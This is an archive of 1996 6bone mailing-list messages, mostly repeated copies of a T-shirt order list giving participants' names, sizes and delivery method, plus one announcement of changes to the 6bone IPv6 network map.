Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
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	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
X-Sender: rlfink@cnrmail.lbl.gov
Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
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Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 08:56:53 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28987>; Tue, 19 Nov 1996 16:57:01 -0800
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	id <AA28981>; Tue, 19 Nov 1996 16:56:58 -0800
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	id <AA19036>; Tue, 19 Nov 1996 16:56:56 -0800
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 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 16:56:56 -0800
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Date: Tue, 19 Nov 1996 16:56:53 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change and COLORFUL ADDITIONS :-)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone diagram version 35:

Many changes - may miss a few on the list below

	remove extraneous KAIST - CISCO link

	add TU-Berlin/DE and DETERBERKOM/DE and respective links

	add DIGITAL-AU/AU with a link to DIGITAL-CA/US

	add WILLAMETTE/US with a link to WWU/US

	add new link from SUMITOMO/JP to BAY/US

	add new links from DIGITAL-CA/US to DETERBERKOM/DE, WIDE/JP & BAY/US

Apologies if I screwed something up...just let me know.


ALSO - NOT TO START A WAR, A COLORFUL CHANGE

I've colorized the nodes, and made a first attempt at identifying transit
nodes to eventually help in routing, planning, redoing the map, etc.

If I've offended your site, my apologies...just let me know.

If I was wrong in doing this, I'll change/remove or whatever is appropriate.


Comments to the mailer, please :-)



Thanks,

Bob



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
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Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
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Content-Transfer-Encoding: quoted-printable
X-Priority: 1 (Highest)
Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
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	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
X-Sender: rlfink@cnrmail.lbl.gov
Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1 (Highest)
Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
X-Sender: rlfink@cnrmail.lbl.gov
Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1 (Highest)
Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
